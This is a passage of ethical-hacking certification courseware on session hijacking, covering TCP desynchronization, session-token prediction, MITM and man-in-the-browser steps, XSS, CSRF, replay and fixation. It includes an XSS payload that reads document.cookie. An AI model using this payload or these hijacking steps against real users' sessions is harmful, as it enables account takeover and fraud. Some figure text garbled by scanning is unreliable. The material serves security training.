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Learning Objectives

Session hijacking allows attackers to take over an active session by bypassing the authentication
process. Thereafter, they can perform any action on the hijacked system.

At the end of this module, you will be able todo the following:

= Describe session hijacking concepts

Perform application-level session hijacking

Perform network-level session hijacking

Use different session hijacking tools

Apply session hijacking countermeasures
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Objective

Sum m arize Session Hijacking
Concepts

Session Hijacking Concepts

Familiarization with basic concepts related to session hijacking is important to attain a
comprehensive understanding. This section explains what session hijacking is as well as the
reasons why session hijacking succeeds. It also-discusses the session hijacking process, packet
analysis of a local session hijack, types of séssion hijacking, session hijacking in an Open Systems
Interconnection (OSI) model, and differences between spoofing and hijacking.
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What is Session Hijacking?
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What is Session Hijacking?

A web server sends a session identification token“or key to a web client after successful
authentication. These session tokens differentiate multiple sessions that the server establishes
with clients. Web servers use various mechanisms to generate random tokens and controls to
secure the tokens during transmission.

Session hijacking is an attack in which“an attacker takes over a valid Transmission Control
Protocol (TCP) communication session between two computers. Because most types of
authentication are performed only at the start of a TCP session, an attacker can gain access to a
machine while a session is in progress. Attackers can sniff all the traffic from established TCP
sessions and perform identity theft, information theft, fraud, etc.

A session hijacking attack exploits a session-token generation mechanism or token security
controls so that the attacker can establish an unauthorized connection with a target server. The
attacker can guess or steal a valid session ID, which identifies authenticated users, and use it to
establish a session with the server. The web server responds to the attacker’s requests under
the impression that it is communicating with an authenticated user.

Attackers can use session hijacking to launch various kinds of attacks, such as man-in-the-
middle (MITM) and denial-of-service (DoS) attacks. In an MITM attack, an attacker places
themselves between an authorized client and a server by performing session hijacking to
ensure that information flowing in either direction passes through them. However, the client
and server believe they are directly communicating with each other. Attackers can also sniff
sensitive information and disrupt sessions to launch a DoS attack.

Module 11 Page 1547 Ethical Hacking and Countermeasures Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Session Hijacking

Credential Transmission 2

'

Credential Confirmation

<
Session Setup
Session Setup = = ——
Data Request . — "
_ Data Transmission o—r:::::
Y
Victim Data Transmission Web Server

N

N
Data Transmission

N

Sniffed
Traffic

/  Data Request

Data Transmission

Attacker

Figure 11.1: Example of session hijacking
Why is Session Hijacking Successful?
Session hijacking succeeds because of the following factors.

= Absence of account lockout for invalid session IDs: If a website does not implement
account lockout, an attacker can make several attempts to connect with varying session
IDs embedded in a genuine URL. The attacker can continue making attempts until the
actual session ID is determined. This attack is also known as a brute-force attack. During
a brute-force attack, the web server does not display a warning message or complaint,
allowing the attacker to determine the valid session ID.

=  Weak session-ID generation algorithm or small session IDs: Most websites use linear
algorithms to predict variables such as time or IP address for generating session IDs. By
studying the sequential pattern and generating multiple requests, an attacker can easily
narrow the search space necessary to forge a valid session ID. Even if a strong session-ID
generation algorithm is used, an active session ID can be easily determined if the string
is short.

* Insecure handling of session IDs: An attacker can retrieve stored session-ID information
by misleading the user’s browser into visiting another site. Before the session expires,
the attacker can exploit the information in many ways, such as Domain Name System
(DNS) poisoning, cross-site scripting exploitation, and the exploitation of a bug in the
browser.
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* Indefinite session timeout: Session IDs with an indefinite expiration time provides an
attacker with unlimited time to guess a valid session ID. An example of this is the
“remember me” option in many websites. The attacker can use static session IDs to the
user’s web account after capturing the user’s cookie file. The attacker can also perform
session hijacking if they can break into a proxy server, which potentially logs or caches
session IDs.

* Most computers using TCP/Internet Protocol (IP) are vulnerable: All machines running
TCP/IP are vulnerable to session hijacking because of the design flaws inherent in
TCP/IP.

= Most countermeasures do not work without encryption: It is easy to sniff session IDs in
a flat network if transport security is not set up properly during the transmission of
session ID cookies, even if a web application uses Secure Sockets Layer (SSL) encryption.
An attacker’s task becomes even easier if they capture session IDs containing actual
login information.

Module 11 Page 1549 Ethical Hacking and Countermeasures Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking and Countermeasures

Session Hijacking

Exam 312-50 Certified Ethical Hacker

r 9

5 Module 11| Session Hijacking

Session Hijacking Process

Session Desynchronization Bréak tﬁe coﬁnection to the victim’s machine

Monitor Mcfmitor;the flow of pacl}(ets and predict the s;equefnce number

Sniff

EC-Council C[EH"

.;,...........

Plice ycfurseIi between ihe vfctim f.'-.md the taréget (you nizust be ablé to sfniff the neiwork)

P é 4=

o — A N N N S S S N N

Copyright @ EC- Council. All Rights Reserved . Reprod uction is Strictly Prohibited . For m ore inform ation, visit ecccouncilorg

Session Hijacking Process

It is easier for an attacker to sneak into a system as a genuine user than to enter a system
directly. An attacker can hijack a genuine user’s'session by finding an established session and
taking it over after user authentication. After hijacking the session, the attacker can stay
connected for hours without arousing suspicion. During this period, all traffic intended for the
user’s IP address goes to the attacker’s system instead, and the attacker can plant backdoors or
gain additional access to the system. Here, we examine how an attacker hijacks a session.

S

Command Injection Start injecting packets to the target server

Session ID Prediction

Take over the session _

----- D oA —S
. Lt} ‘ =

Session Desynchronization  Break the connection to the victim’s machine
- > =]
----- X, .............O. ﬂ :
Monitor  Monitor the flow of packets and predict the sequence number
---- | D | =

Sniff

Place yourself between the victim and the target (you must be able to sniff the network)

. ="
i 1k =

Module 11 Page 1550

v

Figure 11.2: Session hijacking process
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Session hijacking can be divided into three broad phases.

Tracking the connection

The attacker uses a network sniffer to track a victim and host or uses a tool such as
Nmap to scan the network for a target with a TCP sequence that is easy to predict. After
identifying a victim, the attacker captures the sequence and acknowledgment numbers
of the victim because TCP checks these numbers. The attacker then uses these numbers
to construct packets.

Desynchronizing the connection

A desynchronized state occurs when a connection between a target and host is
established, or stable with no data transmission or the server’s sequence number is not
equal to the client’s acknowledgment number, or vice versa.

To desynchronize the connection between the target and host, the attacker must
change the sequence number or acknowledgment number (SEQ/ACK) of the server. For
this purpose, the attacker sends null data to the server; consequently, the server’s
SEQ/ACK numbers advance, while the target machine does not register the increment.
For example, before desynchronization, the attacker monitors the session without any
interference, following which they send a large amount of null data to the server. These
data change the ACK number on the server without affecting anything else, thereby
desynchronizing the server and target.

Another approach is to send a reset flag,to the server to break the connection on the
server side. Ideally, this occurs in the'early setup stage of the connection. The attacker’s
goal is to break the connection-on the server side and create a new connection with a
different sequence number.

The attacker waits for a SYN/ACK packet from the server to the host. On detecting a
packet, the attacker immediately sends an RST packet and a SYN packet with identical
parameters, such as a port number with a different sequence number, to the server.
The server, on receiving the RST packet, closes the connection with the target and
initiates another one based on the SYN packet but with a different sequence number on
the same port. After opening a new connection, the server sends a SYN/ACK packet to
the target for acknowledgement. The attacker detects (but does not intercept) this
packet and sends an ACK packet to the server. Now, the server is in the established
state. The aim is to keep the target conversant and ensure that it switches to the
established state on receiving the first SYN/ACK packet from the server. Consequently,
both the server and target are desynchronized but in an established state.

An attacker can also use a FIN flag, but this will make the server respond with an ACK
packet, thus revealing the attack through an ACK storm. The attack is revealed because
of a flaw in this method of hijacking a TCP connection. While receiving an unacceptable
packet, the host acknowledges it by sending the expected sequence number. This
unacceptable packet generates an ACK packet, thereby creating an endless loop for
every data packet. The mismatch in SEQ/ACK numbers results in excess network traffic
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with both the server and target attempting to verify the correct sequence. Because
these packets carry no data, retransmission does not occur if the packet is lost.
However, because TCP uses IP, the loss of a single packet ends the unwanted
conversation between the server and target.

An attacker can add a desynchronizing stage to the hijack sequence to deceive the
target host. Without desynchronizing, the attacker injects data into the server while
keeping their identity hidden by spoofing an IP address. However, the attacker should
ensure that the server responds to the target host as well.

* |njecting the attacker's packet

Once the attacker has interrupted the connection between the server and target, they
can either inject data into the network or actively participate as the man in the middle,
passing data from the target to the server and vice-versa while reading and injecting
data at will.

Packet Analysis of a Local Session Hijack

Session hijacking involves high-level attack vectors, which affect many systems. TCP is used for
transmitting data by many systems that establish LAN or Internet connections. For establishing
a connection between two systems and for the successful transmission of data, the two
systems should perform a three-way handshake. Session hijacking involves the exploitation of
this three-way handshake method to take control over the session.

To conduct a session hijacking attack, the attacker‘performs three activities:
" Tracking of a session
= Desynchronization of the sessian
" |njection of commands during the session

By sniffing network traffic, an attacker can monitor or track a session. The next step in session
hijacking is to desynchronize the session. It is easy to accomplish this attack if the attacker
knows the next sequence number (NSN) used by the client. A session can be hijacked by using
that sequence number before the client uses it. There are two possibilities to determine
sequence numbers: one is to sniff the traffic, find an ACK packet, and then determine the NSN
based on the ACK packet. The other is to transmit data with guessed sequence numbers, which
is not a reliable method. If the attacker can access the network and sniff the TCP session, they
can easily determine the sequence number. This type of session hijacking is called "local session
hijacking.”

Types of Session Hijacking

Session hijacking can be either active or passive, depending on the degree of involvement of
the attacker. The essential difference between an active and passive hijack is that while an
active hijack takes over an existing session, a passive hijack monitors an ongoing session.
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Passive Session Hijacking

In a passive attack, after hijacking a session, an attacker only observes and records all
the traffic during the session. A passive attack uses sniffers on the network, allowing
attackers to obtain information such as user IDs and passwords. The attacker can later
use this information to log in as a valid user and enjoy the user’s privileges. Password
sniffing is the simplest attack to obtain raw access to a network. Countering this attack
involves methods that range from identification schemes (for example, one-time
password systems such as S/KEY) to ticketing identification (for example, Kerberos).
These techniques help in protecting data from sniffing attacks, but they cannot protect
against active attacks if the data are unencrypted or do not carry a digital signature.

Active Session Hijacking

In an active attack, an attacker takes over an existing session either by breaking the
connection on one side of the conversation or by actively participating. An example of
an active attack is a man-in-the-middle (MITM) attack. To perform a successful MITM
attack, the attacker must guess the sequence number before the target responds to the
server. On most current networks, sequence-number prediction does not work, because
operating-system (OS) vendors use random values for the initial sequence number,
which makes it difficult to predict sequence numbers.

Figure 11.3:"Attacker sniffing a victim’s traffic
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Session Hijacking in OSI Model

Network- Level Network-level hijacking can be defined as the interception of packets during the
Hijacking transmission between a client and the server in a TCP or UDP session
Application- Application-level hijacking refers to gaining control over the HTTP’s user session by

Level Hijacking obtaining the session IDs
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Session Hijacking in OSI Model

There are two levels of session hijacking in the OSI model: the network-level and application-
level.

= Network-Level Hijacking

Network-level hijacking is the interception of packets during the transmission between a
client and server in a TCP/User ‘Datagram Protocol (UDP) session. A successful attack
provides the attacker with crucial information, which can be further used to attack
application-level sessions. Attackers most likely perform network-level hijacking because
they do not need to modify the attack on a per-web-application basis. This attack
focuses on the data flow of the protocol shared across all web applications.

= Application-Level Hijacking

Application-level hijacking involves gaining control over the Hypertext Transfer Protocol
(HTTP) user session by obtaining the session IDs. At the application-level, the attacker
gains control of an existing session and can create new unauthorized sessions by using
stolen data. In general, both occur together, depending on the system being attacked.
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Spoofing vs. Hijacking

In blind hijacking, an attacker predicts the sequence numbers that a victim host sends to create
a connection that appears to originate from the host or a blind spoof. To understand blind
hijacking, it is important to understand sequence-number prediction. TCP sequence numbers,
which are unique per byte in a TCP session, provide flow control and data integrity. TCP
segments provide the initial sequence number (ISN) as a part of each segment header. ISNs do
not start at zero for each session. As part of the handshake process, each participant needs to
state the ISN, and bytes are numbered sequentially from that point.

Blind session hijacking relies on the attacker’s ability to predict or guess sequence numbers. An
attacker is unable to spoof a trusted host on a different network and observe the reply packets
because no route exists for the packets to return to the attacker’s IP address. Moreover, the
attacker is unable to resort to Address Resolution Protocol (ARP) cache poisoning because
routers do not broadcast ARP across the Internet. Because the attacker is unable to observe the
replies, he/she must anticipate the responses from the victim and prevent the host from
sending a TCP/RST packet to the victim. The attacker predicts sequence numbers that the
remote host expects from the victim and then hijacks the communication. This method is useful
when exploiting trust relationships between users and remote machines.

In a spoofing attack, an attacker pretends to be another user or machine (victim) to gain access.
Instead of taking over an existing active session, the attacker initiates a new session using the
victim’s stolen credentials. Simple IP spoofing is easy to perform and is useful in various attack
methods. To create new raw packets, the attacker must have root access on the machine.
However, to establish a spoofed connection using this session hijacking technique, an attacker
must know the sequence numbers used by a target machine. IP spoofing forces the attacker to
forecast the NSN. When an attacker uses blind hijacking to send a command, they cannot view
the response.
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In the case of IP spoofing without a session hijack, guessing the sequence number is
unnecessary because no currently open session exists with that IP address. In a session hijack,
the traffic returns to the attacker only if source routing is used. Source routing is a process that
allows the sender to specify the route to be taken by an IP packet to the destination. The
attacker performs source routing and then sniffs the traffic as it passes by the attacker. In
session spoofing, captured authentication credentials are used to establish a session. In
contrast, active hijacking eclipses a pre-existing session. As a result of this attack, a legitimate
user may lose access or the normal functionality of their established Telnet session because an
attacker hijacks the session and acts with the user’s privileges. Because most authentication
mechanisms are enforced only at the initiation of a session, the attacker can gain access to a
target machine without authentication while a session is in progress.

Another method is to use source routed IP packets. This type of MITM attack allows an attacker
to become a part of the target—host conversation by deceptively guiding IP packets to pass
through their system.

Session hijacking is the process of taking over an existing active session. An attacker relies on a
legitimate user to make a connection and authenticate. Session hijacking is more difficult than
IP address spoofing. In session hijacking, John (an attacker) would seek to insert himself into a
session that James (a legitimate user) already had set up with \\Mail. John would wait until
James establishes a session, displace James from the established session by some means, such
as a DoS attack, and then pick up the session as though he were James. Subsequently, John
would send a scripted set of packets to \\Mail and observe the responses. For this purpose,
John needs to know the sequence number in.use when he hijacked the session. To calculate the
sequence number, he must know the ISN and'the number of packets involved in the exchange
process.

Successful session hijacking is difficult without the use of known tools and is only possible when
several factors are under the attacker’s control. Knowledge of the ISN is the least of John’s
challenges. For instance, John needs a method to displace James from the active session as well
as a method to know the exact status of James’s session at the moment that James is displaced.
Both these tasks require John to have far more knowledge and control over the session than
would normally be possible.

However, IP address spoofing attacks can only be successful if an attacker uses IP addresses for
authentication. They cannot perform IP address spoofing or session hijacking if per-packet
integrity checking is executed. In the same manner, IP address spoofing or session hijacking is
not possible if the session uses encryption methods such as Secure Sockets Layer (SSL) or Point-
to-Point Tunneling Protocol (PPTP). Consequently, the attacker cannot participate in the key
exchange.
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Figure 11.5: Session hijacking

In summary, the hijacking of non-encrypted TCP communications requires the presence of non-
encrypted session-oriented traffic, the ability to recognize TCP sequence numbers from which
the next sequence number (NSN) can be predicted, and the ability to spoof a host’s media
access control (MAC) or IP address to receive communications that are not destined for the
attacker’s host. If the attacker is on the local segment, they can sniff and predict the ISN + 1
number and route the traffic back to them by poisoning the ARP caches on the two legitimate

hosts participating in the session.
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Objective

Explain Application- Level Session
Hijacking

Application-Level Session Hijacking

This section discusses application-level session hijacking and various methods to compromise
the session token, such as session sniffing and the'use of predictable session tokens.

In application-level session hijacking, an attacker steals or predicts a valid session token to gain
unauthorized access to a web server or create a new unauthorized session. Usually, network-
level and application-level session hijacking occur together because a successful network-level
session hijack provides an attacker with ample information to perform application-level session
hijacking. Application-level session hijacking relies on HTTP sessions.

An attacker implements various techniques such as stealing, guessing, and brute forcing to
obtain a valid session ID, which helps in acquiring control over a valid user’s session while it is in
progress.

= Stealing: Attackers use different techniques to steal session IDs. An attacker can steal
the session key through physical access by, for example, acquiring the files containing
session IDs or memory contents of either the user’s system or the server. The attacker
can also use sniffing tools such as Wireshark or Riverbed Packet Analyzer Plus to sniff
the traffic between the client and server to extract the session IDs from the packets.

= Q@Guessing: An attacker attempts to guess the session IDs by observing session variables.
In the case of session hijacking, the range of session ID values that can be guessed is
limited. Thus, guessing techniques are effective only when servers use weak or flawed
session-ID generation mechanisms.

= Brute forcing: In the brute-force technique, an attacker obtains session IDs by
attempting all possible permutations of session ID values until finding one that works.
An attacker using a digital subscriber line (DSL) can generate up to 1,000 session IDs per
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second. This technique is most useful when the algorithm that produces session IDs is
non-random.

http://www.mysite.com/view/VW30422101520803

................................................................................. >
http://www.mysite.com/view/VW30422101522507

AttaCke r Sewer

Figure 11.6: Brute-forcing attack on the session ID of a user

As shown in the above figure, a legitimate user connects to a server with session ID
VW30422101522507. Employing various combinations such as VW30422101518909 and
VW30422101520803, an attacker attempts to brute force the session ID in the hope of
eventually arriving at the correct session ID. Once the attacker obtains the correct
session ID, they gain complete access to the user’s data and can perform operations on
behalf of the legitimate user.

Note: A session ID brute-forcing attack-is’known as a session prediction attack if the
predicted range of values for a sessiof1D is very small.

A session token can be compromised in'various ways:

= Session sniffing = Sessionreplay attack
" Predictable session token = Session fixation attack
"  Man-in-the-middle (MITM) attack = CRIME attack
= Man-in-the-browser attack = Forbidden attack
= Cross-site scripting (XSS) attack = Session donation attack
= Cross-site request forgery attack = PetitPotam hijacking
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Compromising Session IDs using Sniffing and by
Predicting Session Token
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using Sniffing by Predicting Session Token
« An attacker uses a sniffer to capture a valid session token +  Attackers can predict session IDs generated by weak
or session ID algorithms and impersonate a website user
The attacker then uses the valid token session to gain "
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unauthorized access to the web server determine a pattern

Session ID
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legitimate variable constant
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Compromising Session IDs Using Sniffing

A web server identifies a user’s connection through a unique session ID (also known as a
session token). The web server sends a session token to the client browser after the successful
authentication of client login. Usually, a session token comprises a string of variable width that
is useful in various ways, such as in the header of an HTTP requisition (cookie), in a URL, or in
the body of an HTTP requisition.

An attacker uses packet sniffing tools such as Wireshark and Riverbed Packet Analyzer Plus to
intercept the HTTP traffic between a victim and web server. The attacker then analyzes the data
in the captured packets to identify valuable information such as session IDs and passwords.
Once the session ID is determined, the attacker masquerades as the victim and sends the
session ID to the web server before the victim does. The attacker uses the valid token session to
gain unauthorized access to the web server. In this manner, the attacker takes control over an
existing legitimate session.

Session ID
=ACF303SF216AAEFC

ES

Victim Attacker
shiffs a

legitimate

session

Attacker

Figure 11.7: Prediction of session ID by sniffing
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Compromising Session IDs by Predicting Session Token

A session ID is tagged as proof of an authenticated session established between a user and web
server. Thus, if an attacker can guess or predict the session ID of the user, fraudulent activity is
possible. Session prediction enables an attacker to bypass the authentication schema of an
application. Usually, attackers can predict session IDs generated by weak algorithms and
impersonate a website user. Attackers analyze a variable section of session IDs to determine
the existence of a pattern. This analysis is performed either manually or by using various
cryptanalytic tools.

An attacker collect a high number of simultaneous session IDs to gather samples in the same
time window and keep the variable constant. First, the attacker collects some valid session IDs
that are useful in identifying authenticated users. The attacker then studies the session ID
structure, the information used to generate it, and the algorithm used by the web application
to secure it. From these findings, the attacker can predict the session ID.

Attackers can also guess session IDs by using a brute-force technique, in which they generate
and test different session ID values until they succeed in gaining access to the application.
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How to Predict a Session Token

Analyzing Token Patterns

Sequential Tokens Timestam p-based Tokens

Tokens can be predicted by attackers if they follow an

Tokens are easier to predict if they include a timestamp
identifiable pattern

http://www.certifiedhacker.com/view/JBEX1001 http://www.certifiedhacker.com/view/JBEX20240611T1234
http://www.certifiedhacker.com/view/JBEX1002 http://www.certifiedhacker.com/view/JBEX20240611T1236
http://www.certifiedhacker.com/view/JBE X1003 http://www.certifiedhacker.com/view/JBE X20240611T1238
Const:’nt Se\guential Convs’tant D:’te T':\ifne
Brute Force Attacks Weak Random Number Generators

Small Token Space Predictable PRNG

A small token space allows attackers to use brute-force attacks to guess all possible tokens ,
- g = Predictable PRNGs can produce token

http://www.certifiedhacker.com/view/0011 sequences that attackers can guess if they know
s ; Small the seed or algorithm

http://www.certifiedhacker.com/view/0033 > ;o ren size

http://www.certifiedhacker.com/view/0055

Lack of Rate Limiting
Without rate limiting, attackers can make numerous token guesses without being blocked
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How to Predict a Session Token

Most web servers generate session IDs using custom, algorithms or a predefined pattern that
might simply increase static numbers, whereas ‘others use more complex procedures, such as
factoring in time and other computer-specific variables. Thus, attackers can identify session IDs
generated in the following manner:

= Analyzing Token Patterns

o Sequential tokens: When session tokens are issued sequentially (e.g., 001, 002, and
003), attackers can observe a series of tokens and identify the patterns. If an
attacker notices that the tokens are increasing by one each time, they can predict
the next token by adding 1 to the last observed token.

For example, if an attacker identifies tokens such as 1001, 1002, and 1003, it
becomes easier to predict the next token. If the attacker intercepts 1002, they can
guess that the next token will be 1003.

http://www.certifiedhacker.com/view/JBEX1001
http://www.certifiedhacker.com/view/JBEX1002
http://www.certifiedhacker.com/view/JBEX1003

\'Z V .
Constant Sequential

Figure 11.8: Sequential tokens

o Timestamp-based tokens: Tokens that incorporate predictable elements, such as
timestamps, are easier to predict. If the token includes a timestamp, the attacker
can guess the token based on the current time.
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For example, if an attacker identifies a token, such as user123-20240611T1234,
which includes a timestamp (20240611T1234), they can predict the next token if
they know the format and current date.

http://www.certifiedhacker.com/view/JBEX20240611
http://www.certifiedhacker.com/view/JBEX20240611
http://www.certifiedhacker.com/view/JBEX20240611

v \'4 4
Constant Date Time

Figure 11.9: Timestamp-based tokens pattern

= Brute-Force Attacks

o Small token space size: If the token space (number of possible tokens) is small,
brute-force attacks are feasible. The attackers attempt all possible tokens until they
find a valid one.

For example, tokens such as 0000 as 9999 are limited to 10,000 possible values. An
attacker can write a script to try all these values.

Small
token size

http://www.certifiedhacker.com/view/0033

http://www.certifiedhacker.com/view/OOll}-
http://www.certifiedhacker.com/view/0055

Figure 11.10: Small tokenspace size

o Lack of rate-limiting: Without rate-limiting, attackers can generate numerous tokens
without being blocked. This allows “attackers to perform brute-force attacks more
effectively.

For example, an attacker{ may attempt 1,000 tokens per min. Without a rate
limitation, they can continue indefinitely.

=  Weak Random Number Generators:

o Predictable PRNG: Pseudorandom number generators (PRNGs) that are not truly
random or are poorly seeded can produce predictable token sequences. If an
attacker can determine a seed or algorithm, they can predict the future tokens.

For example, If a PRNG uses the current time as a seed, and the attacker knows this,
they can replicate the token generation process.

Now, the attacker can mount an attack through the following steps.
= The attacker acquires the current session ID and connects to the web application.
= The attacker implements a brute-force technique or calculates the next session ID.

» The attacker modifies the current value in the cookie/URL/hidden form field and
assumes the next user’s identity.
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Manipulator-in-the- Middle Atta

systems and intercept the messages being exchanged

Attackers use different techniques and split the TCP
connection into two connections:

Client-to-attacker connection

Attacker-to-server connection
After the interception of the TCP connection, an attacker can
read, modify, and insert fraudulent data into the intercepted

communication

In the case of an http transaction, the TCP connection
between the client and the server becomes the target
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Compromising Session IDs Using Man-in-the- Middle/

The man-in-the-middle/manipulator-in-the-middle attack is used to intrude into an existing connection between
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Compromising Session IDs Using Man-in-the-Middle/Manipulator-in-the-

Middle Attack

A man-in-the-middle/manipulator-in-the-middle\ (MITM) attack is used to intrude into an
existing connection between systems and to.intercept messages being transmitted. In this
attack, attackers use different techniques.and split a TCP connection into two: a client-to-
attacker connection and an attacker-to-server connection. After the successful interception of a

TCP connection, an attacker can read,.modify, and
communication. In the case of an HTTP transaction,
server is the target.

insert fraudulent data into the intercepted
the TCP connection between the client and

Web Server

MITM
Connection

1. Client-to-attacker

>Q<

MITM
Connection

19A19S-0)-13)2eNY ‘2

Attacker

Figure 11.11: Prediction of session ID using a
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Compromising Session IDs Using Man- in-the- Browser
[Manipulator-in-the- Browser Attack

The man-in-the-browser/manipulator-in-the- browser attack uses a Trojan horse to intercept the calls between the browser and its
security mechanisms or libraries

When the user clicks the button; the extension uses DOM to

The Trojan first infects the OS or application extract and modify form data

The Trojan installs malicious code (extension files) and saves it in the

: A The browser sends the form and modified values to the server
browser configuration

When the user restarts the browser, it loads the malicious extension files The server receives modified values but cannot distinguish from

the original

The extension files register a handler for every visit to a webpage
After the server performs the transaction, a receipt is generated

When a page is loaded, the extension matches the URL with a list of

targeted sites : 3 oo 2
9 Now, the browser receives the receipt for the modified transaction

Fihe ser lonsan seciitely o th websis The browser displays the receipt with the original details

The user believes the original transaction was processed without

The extension registers a button event handler for specific page loads : :
interception

OJOGIOXBIONO,
HEOOOGEE ®
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Compromising Session IDs Using Man-in-the-Browser/Manipulator-in-the-
Browser Attack

A man-in-the-browser/manipulator-in-the- browser attack is similar to an MITM attack. The
difference between the two is that a man-in-the-browser attack uses a Trojan horse to
intercept and manipulate calls between a browser and its security mechanisms or libraries. An
attacker positions a previously installed” Trojan between the browser and its security
mechanism, and the Trojan can modify, web pages and transaction content or insert additional
transactions. All of the Trojan’s activities are invisible to both the user and web application.

The main objective of this attack is financial theft by manipulating transactions made using
Internet banking systems. A man-in-the-browser attack can succeed even in the presence of
security mechanisms such as SSL, public key infrastructure (PKI), and two-factor authentication
because all the expected controls and security mechanisms would seem to function normally.

Steps to Perform Man-in-the-Browser Attack:
* The Trojan first infects the computer’s software (OS or application).

= The Trojaninstalls malicious code (extension files) and saves it in the browser
configuration.

= After the user restarts the browser, the malicious code in the form of extension files is
loaded.

= The extension files register a handler for every visit to a webpage.

= When a page is loaded, the extension matches its URL with a list of known sites targeted
for attack.

= The user logs in securely to the website.
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= The extension registers a button event handler when a specific page load is detected
with a specific pattern and compares it with its targeted list.

= When the user clicks on the button, the extension uses the Document Object Model
(DOM) interface and extracts all the data from all form fields and modifies the values.

» The browser sends the form and modified values to the server.

* The server receives the modified values but cannot distinguish between the original and
modified values.

= After the server performs the transaction, a receipt is generated.
= Now, the browser receives the receipt for the modified transaction.
= The browser displays the receipt with the original details.

= The user believes that the original transaction was received by the server without any
interception.

Compromising Session IDs Using Client-side Attacks

Client-side attacks target vulnerabilities in client applications that interact with a malicious
server or process malicious data. Depending on the nature of vulnerabilities, an attacker can
exploit an application by sending an email with a malicious link or otherwise tricking a user into
visiting a malicious website. Vulnerable client-side applications include unprotected websites,
Java Runtime Environment, and browsers; of these, browsers are the major target. Client-side
attacks occur when clients establish connections with malicious servers and process potentially
harmful data from them. If no interaction-eceurs between the client and server, then there is
no scope for a client-side attack. One 'such example is running a File Transfer Protocol (FTP)
client without establishing a connection to an FTP server. In the case of instant messaging, the
application is configured in such a way that it makes clients to log in to a remote server, making
it susceptible to client-side attacks. The following client-side attacks can be used to compromise
session IDs.

* Cross-site scripting (XSS): XSS enables attackers to inject malicious client-side scripts
into web pages viewed by other users.

= Malicious JavaScript codes: An attacker can embed in a web page a malicious script that
does not generate any warning but captures session tokens in the background and
sends them to the attacker.

* Trojans: A Trojan horse can change the proxy settings in the user’s browser to send all
sessions through an attacker’s machine.
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Figure 11.12: Prediction of session ID using a client-side attack
Compromising Session IDs Using Client-side Attacks: Cross-site Script Attack

A cross-site script attack is a client-side attack in which the attacker compromises a session
token by using malicious code or programs. This type of attack occurs when a dynamic web
page receives malicious data from the attacker and executes it on the user’s system.

Web sites that create dynamic pages do not have control over how the clients read their
output. Thus, attackers can insert a malicious JavaScript, VBScript, ActiveX, Hypertext Markup
Language (HTML), or Flash applet into a vulnerable dynamic page. That page then executes the
script on the user’s machine and collects péersonal information of the user, steals cookies,
redirects users to unexpected web pages, ar executes any malicious code on the user’s system.

As shown in the below figure, a user first establishes a valid session with a server. An attacker
sends a crafted link to the victim with malicious JavaScript. When the user clicks on the link, the
JavaScript runs automatically and performs the instructions set by the attacker. The result
displays the current session ID of the user. Using the same technique, the attacker can create
specific JavaScript code that fetches the user’s session ID:

<SCRIPT>alert (document.cookie) ;</SCRIPT>

Thereafter, the attacker uses the stolen session ID to establish a valid session with the server.

Establishes session
with same session
identifier

JSESSIONID=8FEBOAS8SF1E3E898E342E07ADA12714A
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link; the malicious * 3 o % -
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o T -:J ............................ bﬂ §
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Copsr - Attacker
Y ——————] A
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9 JSESSIONID=8FEBOAS8F1E3E898E342E07ADA12714A
User follows the instructions made by the attacker and confirms
o8 the session identifier, thus attacker steals the session identifier
Figure 11.13: Prediction of session ID using a cross-site script attack
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Compromising Session IDs Using Client-side Attacks: Cross-site Request
Forgery Attack

Cross-site request forgery (CSRF), also known as a one-click attack or session riding, is an attack
in which the attacker exploits the victim’s active session with a trusted site to perform
malicious activities such as item purchases and the modification or retrieval of account
information. In CSRF web attacks, the attacker creates a host form, containing malicious
information, and sends it to the authorized user. The user fills in the form and sends it to the
web server. Because the data originates from a trusted user, the web server accepts the data.
Unlike an XSS attack, which exploits the trust a user has for a particular website, CSRF exploits
the trust that a website has on a user’s browser. A CSRF attack involves the following steps.

= The attacker hosts a web page with a form that appears legitimate. This page already
contains the attacker’s request.

= Auser, believing the form to be the original, enters a login and password.
= Once the user completes the form, that page is submitted to the real site.

= The real site’s server accepts the form, assuming that it was sent by the user based on
the authentication credentials.

In this manner, the server accepts the attacker’s request.

User visits attacker website and
clicks on the malicious link on the website

Attacker places malicious
link or image on target website

TR TR PR PR EERETED =

Attacker Website

v
User Logs into

Attacker the legitimate website .

. Ml isinsii e ek .9 -

. 9. ........................................... > 2 = Establishes session with session ID I -
Attacker gets user session ID and gains access <- '9' """"""" S HUU Y >§
to the legitimate website with user session ID JSESSIONID=AFHRYAGHYI2DFGT =

and performs malicious operations . . 1235DFGASEYKG12ER User
Legitimate Website Stores the session
identifier in a cookie
Figure 11.14: Prediction of session ID using a cross-site request forgery attack
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Compromising Session IDs Using Session Replay Attacks
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In a session replay attack, the attacker listens to the conversation between the user and the server and captures
the authentication token of the user

Once the authentication token is captured, the attacker replays the request to the server with the captured
authentication token and gains unauthorized access to the server

@ User establishes connection with server &
o 2 Server asks for authentication information for the sake of identity proof @
User sends authenticationtokens
03 A >

:  Attacker eavesdrops onthis

@ conversation and captures
4 authentication tokens of the user
-

05
Q Attacker replays this captured
authentication token to server
to gain unauthorized access

Attacker

Compromising Session IDs Using Session Replay Attacks

In a session replay attack, the attacker captures the authentication token of a user by listening
to a conversation between the user and server. Once the authentication token is captured, the
attacker replays the authentication request_to'the server with the captured authentication
token to dodge the server; consequently, they'gain unauthorized access to the server. A session
replay attack involves the following steps.

The user establishes a connection with the web server.
The server asks the user for authentication information as identity proof.

The user sends authentication tokens to the server. In this step, an attacker captures the
authentication token of the user by eavesdropping on the conversation between the
user and server.

Once the authentication token is captured, the attacker replays the request to the
server with the captured authentication token and gains unauthorized access to the
server.
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Figure 11.15: Prediction of session ID using a session replay attack
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Compromising Session IDs Using Session Fixation

The attacker exploits the vulnerability of a server that allows a user to use a fixed SID

* Session fixation is an attack that allows an + The attacker provides a valid SID to a victim and lures him or her to authenticate using
attacker to hijack a valid user session that SID

« An attacker attempts to lure a user to
authenticate himself or herself with a

Wiers Raining . . ._.
known session ID and then hijacks the ' : a=| = (e
; 2 : (<)
user-validated session with the ey | P—
knowledge of the used sesslon ID Check tl".i:i c;l:I.n:rn.‘th{:rml nr_.'n'fr:::!.r.-.nc;['nr‘.l from our bank,

Victim

sustomar Cara, Citibank
« The attacker has to provide a legitimate '
web application session ID and attempt AT
to lure the victim’s browser to use it Attacker GORC _@ : Victim clicks on
